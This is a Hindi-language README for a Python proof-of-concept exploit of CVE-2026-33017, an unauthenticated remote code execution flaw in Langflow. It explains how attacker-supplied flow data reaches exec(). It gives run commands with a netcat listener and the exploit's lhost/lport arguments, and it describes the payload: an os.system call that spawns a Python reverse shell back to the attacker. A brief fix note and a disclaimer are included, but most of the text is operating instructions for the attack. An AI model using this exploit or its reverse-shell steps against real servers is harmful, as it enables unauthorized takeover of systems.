
Python POC, Exploit for CVE-2026-33017
⚠️ अस्वीकरण: यह रिपॉजिटरी केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। केवल उन सिस्टमों पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है। लेखक इस टूल के दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
CVE-2026-33017 Langflow में एक बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता है, जो LangChain अनुप्रयोगों के निर्माण के लिए एक विज़ुअल फ्रेमवर्क है।
POST /api/v1/build_public_tmp/{flow_id}/flow एंडपॉइंट बिना प्रमाणीकरण के सार्वजनिक फ्लो बनाने की अनुमति देता है। जब वैकल्पिक data पैरामीटर प्रदान किया जाता है, तो एंडपॉइंट डेटाबेस से संग्रहीत फ्लो डेटा के बजाय हमलावर-नियंत्रित फ्लो डेटा (नोड परिभाषाओं में मनमाना Python कोड युक्त) का उपयोग करता है। यह कोड बिना किसी सैंडबॉक्सिंग के exec() को पास किया जाता है, जिसके परिणामस्वरूप बिना प्रमाणीकरण के रिमोट कोड निष्पादन होता है।
client_id कुकी (कोई भी मनमाना स्ट्रिंग मान)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
अपनी हमलावर मशीन पर, रिवर्स शेल को पकड़ने के लिए एक netcat लिसनर शुरू करें:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# टर्मिनल 1: लिसनर शुरू करें
nc -lvnp 4444
# टर्मिनल 2: एक्सप्लॉइट फायर करें
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — हमलावर-नियंत्रित Python कोड के साथ एक CustomComponent युक्त एक दुर्भावनापूर्ण Langflow नोड बनाता है। कोड में एक शीर्ष-स्तरीय os.system() कॉल शामिल है जो ग्राफ निर्माण के दौरान निष्पादित होती है (फ्लो के "चलने" से पहले)।
fire_payload() — दुर्भावनापूर्ण नोड को JSON के रूप में बिना प्रमाणीकरण वाले build_public_tmp एंडपॉइंट पर एक यादृच्छिक client_id कुकी के साथ भेजता है।
कोड निष्पादन — सर्वर हमलावर-आपूर्ति किए गए फ्लो डेटा को पार्स करता है, कस्टम घटक को इंस्टैंशिएट करता है, और prepare_global_scope() के दौरान एम्बेडेड कोड पर exec() कॉल करता है। शीर्ष-स्तरीय असाइनमेंट _r = __import__('os').system(...) तुरंत कमांड निष्पादन को ट्रिगर करता है।
रिवर्स शेल — पेलोड आपके लिसनर पर वापस कनेक्ट होने वाला एक Python रिवर्स शेल स्पॉन करता है।
build_public_tmp एंडपॉइंट बिना प्रमाणीकरण के (सार्वजनिक फ्लो के लिए) डिज़ाइन किया गया है, लेकिन यह गलत तरीके से data पैरामीटर के माध्यम से हमलावर-आपूर्ति किए गए फ्लो डेटा को स्वीकार करता है। जब data प्रदान किया जाता है, तो यह संग्रहीत फ्लो डेटा को बायपास करता है और हमलावर-नियंत्रित नोड्स को सीधे ग्राफ बिल्डर को भेजता है।
build_public_tmp से data पैरामीटर हटाएँ। सार्वजनिक फ्लो को केवल डेटाबेस से अपना संग्रहीत फ्लो डेटा निष्पादित करना चाहिए, कभी भी हमलावर-आपूर्ति किए गए डेटा को नहीं।
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
| तर्क | आवश्यक | विवरण |
|---|
--url | हाँ | लक्ष्य URL (जैसे, http://localhost:7860) |
--flow-id | हाँ | सार्वजनिक फ्लो UUID |
--lhost | हाँ | आपका लिसनर IP पता |
--lport | हाँ | आपका लिसनर पोर्ट |
--timeout | नहीं | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |